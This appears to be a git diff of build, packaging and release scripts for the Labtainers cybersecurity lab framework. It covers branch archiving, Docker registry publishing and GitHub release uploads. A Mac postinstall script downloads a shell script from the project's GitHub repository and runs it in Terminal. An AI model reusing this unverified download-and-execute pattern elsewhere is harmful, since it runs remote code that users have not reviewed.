100755 index 000000000..8fcc82060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cloneSimlab.sh @@ -0,0 +1,16 @@ +#!/bin/bash +# +# Clone or pull latest SimLab +# +cd $LABTAINER_DIR +cd ../ +echo "in $(pwd)" +if [[ ! -d Labtainers-simlab ]]; then + echo "Labtainers-simlab does not exist, clone it" + git clone https://gitlab.nps.edu/mfthomps/Labtainers-simlab.git + ln -s Labtainers-simlab/simlab + cd simlab +else + cd simlab + git pull +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cpall2test.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cpall2test.sh new file mode 100755 index 000000000..7b7919ae3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/cpall2test.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# +# copy the labtainer distribution tars to all the test vm directories +# Intended for ad-hoc testing. Normally, copy done as part of per-vm test suite +# +tlist="labtainer.tar labtainer-master.tar labtainer-tests.tar" +dlist=$(ls /media/sf_SEED/test_vms) +for d in $dlist; do + mkdir -p /media/sf_SEED/test_vms/$d + for t in $tlist; do + cp /media/sf_SEED/$t /media/sf_SEED/test_vms/$d/ + done +done diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/fix-git-dates.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/fix-git-dates.py index b01878c76..2d3a3bc78 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/fix-git-dates.py +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/fix-git-dates.py @@ -1,10 +1,42 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' import subprocess, shlex import sys, os.path import logging as logger import argparse import time +from dateutil import parser +from dateutil.parser import parse +from datetime import datetime + parser = argparse.ArgumentParser( description='Use git archive and file times from the current repo to' @@ -21,6 +53,8 @@ parser.add_argument('pathspec', parser.add_argument('dist_path', help='directory of distribution tree') +parser.add_argument('branch', help='branch of the repo') + args = parser.parse_args() logger.basicConfig(level=logger.DEBUG if args.verbose else logger.ERROR, format='%(levelname)s:\t%(message)s') @@ -28,7 +62,7 @@ logger.basicConfig(level=logger.DEBUG if args.verbose else logger.ERROR, # Find repo's top level. try: workdir = os.path.abspath(subprocess.check_output(shlex.split( - 'git rev-parse --show-toplevel')).strip()) + 'git rev-parse --show-toplevel')).strip()).decode('utf-8') except subprocess.CalledProcessError as e: sys.exit(e.returncode) @@ -53,17 +87,30 @@ elif os.path.isdir(path): def fixtimes(filelist, dist_path, pathspec, workdir): + #print('fix times') for f in filelist: source = os.path.join(workdir, f) dest = os.path.join(dist_path, f) if os.path.isfile(dest): - mtime = int(os.path.getmtime(source)) - os.utime(dest, (mtime, mtime)) + #cmd = 'git log -1 --format="%%ad" %s' % source + cmd = 'git log -1 --format="%%at" %s' % source + child = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if len(output[0].decode('utf-8').strip()) > 0: + ts_string = output[0].decode('utf-8').strip() + parts = ts_string.split('.') + df_ts = int(parts[0]) + else: + print('No git log output from %s' % cmd) + exit(1) + + #mtime = int(os.path.getmtime(source)) + os.utime(dest, (df_ts, df_ts)) if args.pathspec.strip() == './': - cmd = 'git archive master | tar -x -C %s' % (args.dist_path) + cmd = 'git archive %s | tar -x -C %s' % (args.branch, args.dist_path) else: - cmd = 'git archive master %s | tar -x -C %s' % (args.pathspec, args.dist_path) + cmd = 'git archive %s %s | tar -x -C %s' % (args.branch, args.pathspec, args.dist_path) os.system(cmd) fixtimes(filelist, args.dist_path, args.pathspec, workdir) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/full_build.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/full_build.sh new file mode 100755 index 000000000..abeaae314 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/full_build.sh @@ -0,0 +1,71 @@ +#!/bin/bash +# +# Perform all build steps needed to run tests, then start smoketests. +# NOTE: this script assumes pulls from github. +# +if [[ -z "$LABTAINER_DIR" ]]; then + export LABTAINER_DIR=/home/mike/git/Labtainers +fi +cd $LABTAINER_DIR/distrib +branch=$(git rev-parse --abbrev-ref HEAD) +if [[ "$branch" == "master" ]]; then + echo "Do not full_build as the master branch." + exit 1 +fi +git pull || exit 1 +./mkall.sh -q +result=$? +if [[ $result != 0 ]]; then + echo "mkall failed" + exit 1 +fi +# +# Clone local repo -- TBD do all building from same instance? +# +ddir=/tmp/labtainer-distrib +ldir=$ddir/labtainer +rm -fr $ldir +ltrunk=$ldir/trunk +mkdir -p $ltrunk +cd ../ +git archive $branch --prefix premaster/ -o distrib/labtainer-master.tar +cp distrib/labtainer-master.tar /media/sf_SEED/ +git clone --single-branch --branch $branch $LABTAINER_DIR $ltrunk + +# +# switch LABTAINER_DIR to new copy of repo +# +export LABTAINER_DIR=$ltrunk +# +# +cd $LABTAINER_DIR/distrib +# force current branch regsitry to match premaster +if [[ $branch != 'premaster' ]]; then + echo "Refresh the branch registry" + ./refresh_branch.py -q + result=$? + if [[ $result != 0 ]]; then + echo "refresh_branch failed" + exit 1 + fi +fi +#cd $LABTAINER_DIR/scripts/designer/bin +#echo "running mkbases from $LABTAINER_DIR" +#./mkbases.py +#result=$? +#if [[ $result != 0 ]]; then +# echo "mkbases failed" +# exit 1 +#fi +cd $LABTAINER_DIR/distrib +echo "Now rebuild lab images as needed and publish to branch registry" +./publish.py -q +result=$? +if [[ $result != 0 ]]; then + echo "publish failed" + exit 1 +fi +cd $LABTAINER_DIR/testsets/bin +./testVMs.sh +#./test-ubuntu16.sh +#./test-ubuntu18.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/get_reg_dates.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/get_reg_dates.py new file mode 100755 index 000000000..e3009a34f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/get_reg_dates.py @@ -0,0 +1,84 @@ +#!/usr/bin/python3 +import argparse +import os +import sys +import subprocess +sys.path.append('../scripts/labtainer-student/bin') +import LabtainerLogging +import labutils +import registry +import InspectLocalReg +import ParseLabtainerConfig +import InspectRemoteReg + +def getDates(image, reg, lab, logger): + if reg == 'mfthomps': + with_reg = '%s/%s' % (reg, image) + created, user, version, tag = InspectRemoteReg.inspectRemote(with_reg, logger, no_pull=True) + else: + created, user, version, tag, base = InspectLocalReg.inspectLocal(image, logger, reg, no_pull=True) + + if created is not None: + print('%s %s %s' % (lab, image, created)) + +def doLab(lab_dir, lab, role, reg, logger): + ''' use dockerfiles to determine the set of containers ''' + docker_dir = os.path.join(lab_dir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + return + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + container = parts[2] + except: + print('could not get image from %s' % df); + continue + getDates(image, reg, lab, logger) + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Retrieve creation dates of lab images.') + parser.add_argument('-l', '--lab', action='store', help='Get dates for just this lab') + parser.add_argument('-p', '--premaster', action='store_true', default=False, help='Get dates from premaster') + parser.add_argument('-d', '--dockerhub', action='store_true', default=False, help='Get dates from dockerhub') + args = parser.parse_args() + src_path = '../' + labtainer_config_file = os.path.join(src_path, 'config', 'labtainer.config') + logger = LabtainerLogging.LabtainerLogging("labtainer-publish.log", 'publish', labtainer_config_file) + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_file, logger) + labutils.logger = logger + labdir = os.path.join(os.getenv('LABTAINER_DIR'), 'labs') + mycwd = os.getcwd() + os.chdir(labdir) + cmd = 'git ls-files ./ | cut -d/ -f1 | uniq' + child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) + output = child.communicate() + lab_list = output[0].decode('utf-8').strip().splitlines() + os.chdir(mycwd) + if args.dockerhub: + registry = labtainer_config.default_registry + print('Get registry dates from Docker Hub') + elif not args.premaster: + branch, registry = registry.getBranchRegistry() + print('Get registry dates for branch %s from %s' % (branch, registry)) + else: + registry = labtainer_config.test_registry + print('Get registry dates for PREMASTER from %s' % (registry)) + if args.lab == None: + skip_labs = 'skip-labs' + skip = [] + with open(skip_labs) as fh: + for line in fh: + f = os.path.basename(line).strip() + skip.append(f) + for lab in sorted(lab_list): + lab = lab.strip() + if lab not in skip: + doLab(labdir, lab, 'student', registry, logger) + else: + doLab(labdir, args.lab, 'student', registry, logger) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/git-restore-mtime.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/git-restore-mtime.py index 0fa89e6b9..15b528190 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/git-restore-mtime.py +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/git-restore-mtime.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # git-restore-mtime - Change mtime of files based on commit date of last change diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/justrelease.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/justrelease.sh new file mode 100755 index 000000000..20f20ea29 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/justrelease.sh @@ -0,0 +1,113 @@ +#!/bin/bash +# +# Create a Labtainers release. +# --Update the release information in the README file. +# --Tag the current commit and push the release artifacts. +# +# Assumes master repo is up to date. Will create a distribution +# from the ~/labtainerRelease directory, tag it and push +# the artifacts. +# +# +release_dir=$HOME/labtainerRelease/Labtainers +if [[ ! -d $release_dir ]]; then + echo "No $release_dir directory found" + exit +fi +if [[ -z "$1" ]]; then + tag=$(git tag | tail -n 1) + echo "Missing tag, most recent is "$tag" . Pick the next revision." + exit +fi +if [[ -z "$gitpat" ]]; then + echo "gitpat is not defined. Source the gitpat.sh file" + exit +fi +if [[ -z "$SSH_AGENT_PID" ]]; then + echo "No ssh-agent running. Source ~/agent.sh" + exit +fi +new_tag=$1 +here=`pwd` +# +# Make sure we are up to date with master +# +cd $release_dir +git checkout premaster || exit +git pull +git checkout master || exit +git pull || exit + +git tag $new_tag +git push --set-upstream origin master +git push --tags + +revision=$new_tag +commit=`git describe --always` +sed -i "s/^Distribution created:.*$/Distribution created: $(date '+%m\/%d\/%Y %H:%M') <\/br>/" README.md +sed -i "s/^Revision:.*$/Revision: $revision <\/br>/" README.md +sed -i "s/^Previous revision:.*$/Revision: $revision <\/br>/" README.md +sed -i "s/^Commit:.*$/Commit: $commit <\/br>/" README.md +sed -i "s/^Branch:.*$/Branch: master <\/br>/" README.md +git commit README.md -m "Update readme date/rev" +git push --set-upstream origin master + +# create the end-user distibution +# First return to starting directory so we use +# possibly modified mkdist.sh +# +cd $here +./mkdist.sh -r || exit 1 +# +# above mkdist occurred in a temporary directory, and the artificts were copied to the release directory +# artifacts directory +# +cd $release_dir + +echo "Build GUI Jar" +cd UI/bin +./buildUI2.sh -n || exit +cp MainUI.jar $release_dir/distrib/artifacts/ + +echo "Build MakepackUI Jar" +cd $release_dir +cd MakepackUI/bin +./buildUI2.sh -n || exit +cp makepackui.jar $release_dir/distrib/artifacts/ + +echo "Build Azure tar" +cd $release_dir +cd azure +rm -f azure.tar +tar -cf azure.tar * +mv azure.tar $release_dir/distrib/artifacts + +echo "Build Google tar" +cd $release_dir +cd google +rm -f google.tar +tar -cf google.tar * +mv google.tar $release_dir/distrib/artifacts + +cd $release_dir/distrib +echo "Now generate release" + +github-release release --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag +echo "wait for github" +while [ -z "$(github-release info --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag | grep releases:)" ]; do + echo "release not yet created, sleep 2" + sleep 2 +done +echo "Upload tar" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name labtainer.tar --file artifacts/labtainer.tar +echo "Upload PDF zip" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name labtainer_pdf.zip --file artifacts/labtainer_pdf.zip +echo "Upload UI" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name MainUI.jar --file artifacts/MainUI.jar +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name makepackui.jar --file artifacts/makepackui.jar +echo "Upload Azure" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name azure.tar --file artifacts/azure.tar +echo "Upload Google" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name google.tar --file artifacts/google.tar +git checkout premaster +git fetch --tags diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/READEME.md b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/READEME.md new file mode 100644 index 000000000..9157d3a97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/READEME.md @@ -0,0 +1,5 @@ +Scripts for creating a Mac pkg for installation. +Copy ont a Mac for creation and testing. +When done, put the update pkg file here and commit it. +The pkg will be kept in the repo to ease creating +a release. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/labtainers-desktop.pkg b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/labtainers-desktop.pkg new file mode 100755 index 000000000..4713df837 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/labtainers-desktop.pkg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/mkpkg.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/mkpkg.sh new file mode 100755 index 000000000..8b4758b63 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/mkpkg.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# +# Create a Mac pkg installation file for headless labtainers +# Only a pre and post install script are included. +# The pre checks for Docker, the post pulls headless-labtainers.sh, +# creates the directory and starts a terminal running headless. +# +pkgbuild --identifier labtainers-desktop.pkg --nopayload --scripts ./scripts labtainers-desktop.pkg diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/scripts/postinstall b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/scripts/postinstall new file mode 100755 index 000000000..69b5ba16e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/scripts/postinstall @@ -0,0 +1,22 @@ +#!/bin/bash +echo "doing post" > /tmp/lab-install.log +mkdir -p $HOME/headless-labtainers +HEADLESS_PREMASTER=`launchctl getenv HEADLESS_PREMASTER` +echo "env is $HEADLESS_PREMASTER" >>/tmp/lab-install.log +if [ "$HEADLESS_PREMASTER" = "TRUE" ];then + branch=premaster + echo "Using premaster branch" >> /tmp/lab-install.log +else + branch=master +fi +curl https://raw.githubusercontent.com/mfthomps/Labtainers/$branch/headless-lite/headless-labtainers.sh > $HOME/headless-labtainers/headless-labtainers.sh +# reset env so it does not follow you to your grave +launchctl setenv HEADLESS_PREMASTER FALSE + +chown -R $USER:staff $HOME/headless-labtainers +chmod a+x $HOME/headless-labtainers/headless-labtainers.sh +echo "did copy" >> /tmp/lab-install.log +echo "doing osasript" >> /tmp/lab-install.log +osascript -e 'tell app "Terminal" to do script "cd $HOME/headless-labtainers;source ./headless-labtainers.sh"' +echo "backfrom osascript" >> /tmp/lab-install.log +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/scripts/preinstall b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/scripts/preinstall new file mode 100755 index 000000000..4dd587b0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/scripts/preinstall @@ -0,0 +1,12 @@ +#!/bin/bash +/usr/local/bin/docker ps +result=$? +if [[ ! $result == 0 ]]; then + echo "Docker Desktop not installed or not running" >>/tmp/lab-preinstall.log + osascript <<'END' + set theDialogText to "Installation failed. Docker Desktop is not running. Make sure it is installed and running. Then open the installation package again." + display dialog theDialogText buttons {"OK"} default button "OK" +END + exit 1 +fi +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/test-package.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/test-package.sh new file mode 100755 index 000000000..1450f8d5d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mac/test-package.sh @@ -0,0 +1,4 @@ +#!/bin/bash +#open ./labtainers-desktop.pkg +launchctl setenv HEADLESS_PREMASTER TRUE && installer -pkg labtainers-desktop.pkg -target / + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mergePre.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mergePre.sh new file mode 100755 index 000000000..ad6d206c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mergePre.sh @@ -0,0 +1,31 @@ +#!/bin/bash +# +# Merge a branch repo and docker images into master +# -- Performs a git merge of the branch into master +# -- If the branch is premaster and $2 is not -n: +# -- Ensures the Docker Hub matches the premaster registry +# -- Pushes branch and master to github +# +branch=$1 +shift 1 +if [[ $1 == "-h" ]];then + echo "Merge premaster into master, update docker hub to match mirror." + echo "Use -n to skip docker hub update." + exit 1 +fi +cur_branch=$(git rev-parse --abbrev-ref HEAD) +if [[ "$cur_branch" != "$branch" ]]; then + echo "Current branch is not $branch." + exit 1 +fi +git pull +git checkout master || exit 1 +git merge $branch || exit 1 +if [[ "$branch" == premaster ]] && [[ $1 != "-n" ]];then + echo "Refresh docker hub with premaster images" + echo "Provide Docker Hub password below" + ./refresh_mirror.py -q || exit 1 + echo "Mirror refresh complete" +fi +git push --set-upstream origin master || exit 1 +git checkout $branch || exit 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-devel-dist.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-devel-dist.sh index 046481d4d..66e530fae 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-devel-dist.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-devel-dist.sh @@ -3,52 +3,12 @@ # Create a distribution for lab designers # Expects a directory at /media/sf_SEED into which it # will copy the distribution tar. -# -revision=`git describe --long` -myshare=/media/sf_SEED/ +if [[ -z $myshare ]]; then + myshare=/media/sf_SEED/ +fi here=`pwd` +branch=$(git rev-parse --abbrev-ref HEAD) cd ../ -rootdir=`pwd` -git status -s | grep -E "^ M|^ D|^ A" | less -ddir=/tmp/labtainer-distrib -ldir=$ddir/labtainer -ltrunk=$ldir/trunk -scripts=$ltrunk/scripts -labs=$ltrunk/labs -rm -fr /$ddir -mkdir $ddir -mkdir $ldir -mkdir $ltrunk -mkdir $labs -$here/fix-git-dates.py ./ $ltrunk -cd $ltrunk -sed -i "s/mm\/dd\/yyyy/$(date '+%m\/%d\/%Y %H:%M')/" README.md -sed -i "s/^Revision:/Revision: $revision/" README.md -cp setup_scripts/install-labtainer.sh . -cp setup_scripts/update-labtainer.sh . -cd $ldir/trunk/docs/labdesigner -make -cp labdesigner.pdf ../../../ -cp labdesigner.pdf $myshare - -cd $ldir/trunk/docs/student -make -cp labtainer-student.pdf ../../../ -cp labtainer-student.pdf $myshare - -cd $ldir/trunk/docs/instructor -make -cp labtainer-instructor.pdf ../../../ -cp labtainer-instructor.pdf $myshare -$here/mkTars.sh $ldir/trunk/labs $here/skip-labs -cd $ldir/trunk/labs -mkdir -p /tmp/labtainer_pdf -cd $rootdir -distrib/mk-lab-pdf.sh $labs -cd $ddir -tar -cz -X $here/skip-labs -f $here/labtainer-developer.tar labtainer -cd /tmp/ -zip -r $here/labtainer_pdf.zip labtainer_pdf +git archive $branch --prefix $branch -o distrib/labtainer-master.tar +cp distrib/labtainer-master.tar $myshare/ cd $here -cp labtainer-developer.tar $myshare -cp labtainer_pdf.zip $myshare diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-lab-pdf.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-lab-pdf.sh index b3c59da7f..f0e72594b 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-lab-pdf.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-lab-pdf.sh @@ -13,7 +13,8 @@ function contains() { return 1 } rootdir=`pwd` -mkdir -p /tmp/labtainer_pdf +LABPDF=/tmp/labtainer_pdf_$USER/labtainer_pdf +mkdir -p $LABPDF skip="distrib/skip-labs" skiplist="" lines=`cat $skip` @@ -26,23 +27,14 @@ for lab in $llist; do if [ $(contains "${skiplist[@]}" $lab) != "y" ]; then echo "lab is $lab in dir `pwd`" mkdir -p $labs/$lab - mkdir -p /tmp/labtainer_pdf/$lab + mkdir -p $LABPDF/$lab cd $labs/$lab if [[ -d docs ]]; then echo "lab is $lab" cd docs - cp -p /tmp/labtainer_pdf/$lab/*.pdf . - if [[ -f Makefile ]]; then - make - else - doc=$lab.docx - if [[ -f $doc ]]; then - soffice --convert-to pdf $doc --headless - fi - fi - cp -p *pdf /tmp/labtainer_pdf/$lab/ + cp -p *pdf $LABPDF/$lab/ else - cp */instructions.txt /tmp/labtainer_pdf/$lab/ 2>/dev/null + cp */instructions.txt $LABPDF/$lab/ 2>/dev/null fi cd $rootdir fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkall.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkall.sh new file mode 100755 index 000000000..6ae09ac06 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkall.sh @@ -0,0 +1,20 @@ +#/bin/bash +# +# Make distributions of labtainers +# +if [ "$1" != "-q" ] && [ "$1" != "-r" ]; then + git status -s | grep -E "^ M|^ D|^ A" | less +fi +./mkdist.sh $@ +result=$? +if [[ $result != 0 ]]; then + echo "mkdist failed" + exit 1 +fi +./mktest.sh $@ +result=$? +if [[ $result != 0 ]]; then + echo "mktest failed" + exit 1 +fi +echo "Done building Labtainers dist tars" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkdist.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkdist.sh index 12849f48f..bfecf295b 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkdist.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkdist.sh @@ -1,8 +1,13 @@ #!/bin/bash # # Create an end-user distribution of Labtainers. -# This uses git archive, basing the distribution on committed content of the local repo. +# This uses git archive, basing the distribution on committed content of the +# current branch of the local repo. +# use -t to force test registry +# use -r if this is a release (will force use of master and will not modify README) # +# NOTE even when making release, CWD is the directory from which the release script +# was executed. # function contains() { local n=$# @@ -16,7 +21,7 @@ function contains() { echo "n" return 1 } -revision=`git describe --always` +commit=`git describe --always` skip="skip-labs" skiplist="" lines=`cat $skip` @@ -24,49 +29,73 @@ for line in $lines; do lab=$(basename $line) skiplist+=($lab) done -mkdir -p /tmp/labtainer_pdf -#myshare=/home/mike/sf_SEED/ -myshare=/media/sf_SEED/ +mkdir -p /tmp/labtainer_pdf_$USER/labtainer_pdf here=`pwd` cd ../ -rootdir=`pwd` -git status -s | grep -E "^ M|^ D|^ A" | less -ddir=/tmp/labtainer-distrib +ddir=$(mktemp -d -t labtainer-distrib-XXXXXXXX) ldir=$ddir/labtainer ltrunk=$ldir/trunk scripts=$ltrunk/scripts labs=$ltrunk/labs +docs=$ltrunk/docs rm -fr /$ddir mkdir $ddir mkdir $ldir mkdir $ltrunk -git archive master README.md | tar -x -C $ltrunk -sed -i "s/mm\/dd\/yyyy/$(date '+%m\/%d\/%Y %H:%M')/" $ltrunk/README.md -sed -i "s/^Revision:/Revision: $revision/" $ltrunk/README.md -#git archive master config | tar -x -C $ltrunk -$here/fix-git-dates.py config $ltrunk -$here/fix-git-dates.py setup_scripts $ltrunk -$here/fix-git-dates.py docs $ltrunk -$here/fix-git-dates.py tool-src $ltrunk -$here/fix-git-dates.py distrib/skip-labs $ltrunk +if [[ "$1" != "-r" ]]; then + branch=$(git rev-parse --abbrev-ref HEAD) +else + release_dir=$HOME/labtainerRelease/Labtainers + if [[ ! -d $release_dir ]]; then + echo "No $release_dir directory found" + exit + fi + echo "Building master from $release_dir" + cd $release_dir + branch=master +fi +if [[ "$1" != "-t" ]]; then + registry=$(scripts/labtainer-student/bin/registry.py) + echo "Make distribution from branch: $branch registry: $registry" +else + echo "Make distribution from branch: $branch Using premaster registry OVERRIDE" +fi +if [[ "$1" != "-r" ]]; then + commit=`git describe --always` + branch=$(git rev-parse --abbrev-ref HEAD) + sed -i "s/^Distribution created:.*$/Distribution created: $(date '+%m\/%d\/%Y %H:%M') <\/br>/" README.md + sed -i "s/^Revision:/Previous revision:/" README.md + sed -i "s/^Commit:.*$/Commit: $commit <\/br>/" README.md + sed -i "s/^Branch:.*$/Branch: $branch <\/br>/" README.md +fi +cp README.md $ltrunk/ mkdir $scripts -$here/fix-git-dates.py scripts/labtainer-student $ltrunk -$here/fix-git-dates.py scripts/labtainer-instructor $ltrunk +dlist="config setup_scripts docs tool-src distrib/skip-labs scripts/labtainer-student scripts/labtainer-instructor labpacks" +#git archive master config | tar -x -C $ltrunk +for d in $dlist; do + $here/fix-git-dates.py $d $ltrunk $branch || exit 1 +done mkdir $labs llist=$(git ls-files labs | cut -d '/' -f 2 | uniq) for lab in $llist; do if [ $(contains "${skiplist[@]}" $lab) != "y" ]; then - $here/fix-git-dates.py labs/$lab/config $ltrunk - $here/fix-git-dates.py labs/$lab/instr_config $ltrunk - if [[ -d labs/$lab/docs ]]; then - $here/fix-git-dates.py labs/$lab/docs $ltrunk + $here/fix-git-dates.py labs/$lab/config $ltrunk $branch || exit 1 + $here/fix-git-dates.py labs/$lab/instr_config $ltrunk $branch || exit 1 + docdir=labs/$lab/docs + if [[ -d $docdir ]]; then + if [ "$(ls -A $docdir)" ]; then + $here/fix-git-dates.py labs/$lab/docs $ltrunk $branch || exit 1 + fi fi - if [[ -d labs/$lab/bin ]]; then - $here/fix-git-dates.py labs/$lab/bin $ltrunk + bindir=labs/$lab/bin + if [[ -d $bindir ]]; then + if [ "$(ls -A $bindir)" ]; then + $here/fix-git-dates.py labs/$lab/bin $ltrunk $branch || exit 1 + fi fi fi done -distrib/mk-lab-pdf.sh $labs +distrib/mk-lab-pdf.sh $labs &> /tmp/mk-lab-pdf_$USER.log result=$? echo "result of mk-lab-pdf is $result" if [ $result -ne 0 ]; then @@ -74,28 +103,36 @@ if [ $result -ne 0 ]; then exit fi cd $ldir +if [[ -z $myshare ]]; then + myshare=/media/sf_SEED/ + mkdir -p $myshare +fi + mv trunk/setup_scripts/install-labtainer.sh . ln -s trunk/setup_scripts/update-labtainer.sh . ln -s trunk/setup_scripts/update-designer.sh . -cd $ldir/trunk/docs/student -make -cp labtainer-student.pdf ../../../ -cp labtainer-student.pdf $myshare - -cd $ldir/trunk/docs/instructor -make -cp labtainer-instructor.pdf ../../../ -cp labtainer-instructor.pdf $myshare - cd $ldir/trunk/tool-src/capinout pwd -./mkit.sh +./mkit.sh &> /tmp/mkit_$USER.out +# put student and instructor guide at top of distribution. +cp $docs/student/labtainer-student.pdf $ldir/ +cp $docs/instructor/labtainer-instructor.pdf $ldir/ cd $ddir -tar -cz -X $here/skip-labs -f $here/labtainer.tar labtainer -cd /tmp/ -#tar -czf $here/labtainer_pdf.tar.gz labtainer_pdf -zip -r $here/labtainer_pdf.zip labtainer_pdf +if [[ "$1" != "-r" ]]; then + tar -cz -X $here/skip-labs -f $here/labtainer.tar labtainer + cd /tmp/labtainer_pdf_$USER + zip -qq -r $here/labtainer_pdf.zip labtainer_pdf +else + mkdir -p $release_dir/distrib/artifacts + tar -cz -X $here/skip-labs -f $release_dir/distrib/artifacts/labtainer.tar labtainer + cd /tmp/labtainer_pdf_$USER + zip -qq -r $release_dir/distrib/artifacts/labtainer_pdf.zip labtainer_pdf +fi cd $here 